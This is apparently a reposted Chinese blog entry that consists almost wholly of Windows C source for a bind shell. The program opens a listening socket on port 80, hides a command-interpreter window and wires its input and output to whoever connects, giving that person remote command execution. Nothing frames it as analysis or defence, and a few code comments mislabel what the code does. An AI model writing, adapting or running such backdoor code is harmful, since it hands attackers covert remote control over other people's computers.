cmd shell 重定向到网络

来源：互联网发布：人工智能涉及哪些专业编辑：程序博客网时间：2024/05/21 08:42

#include "Winsock2.h"
#pragma comment(lib,"ws2_32")

#define MasterPort 80

void Entrypoint()
{
    WSADATA WSADa;
    sockaddr_in SockAddrIn;
    SOCKET CSocket,SSocket;
    int iAddrSize;

    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;

    char szCMDPath[255];
    //-------------------
    ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
    ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&WSADa, sizeof(WSADATA));
    //----初始化数据----
    //获取cmd路径
    GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
    //加载ws2_32.dll
    WSAStartup(0x0202,&WSADa);

    //设置本地信息和绑定协议
    SockAddrIn.sin_family = AF_INET;
    SockAddrIn.sin_addr.s_addr = INADDR_ANY;
    SockAddrIn.sin_port = htons(MasterPort);
    CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);


    //绑定端口
    bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
    listen(CSocket,1);
    iAddrSize = sizeof(SockAddrIn);
    SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
    //开始连接远程服务器
    StartupInfo.cb = sizeof(STARTUPINFO);
    StartupInfo.wShowWindow = SW_HIDE;
    StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    StartupInfo.hStdInput = (HANDLE)SSocket;
    StartupInfo.hStdOutput = (HANDLE)SSocket;
    StartupInfo.hStdError = (HANDLE)SSocket;
    //创建匿名管道
    CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    //关闭进程句柄
    closesocket(CSocket);
    closesocket(SSocket);
    WSACleanup();
    //关闭连接卸载ws2_32.dll
}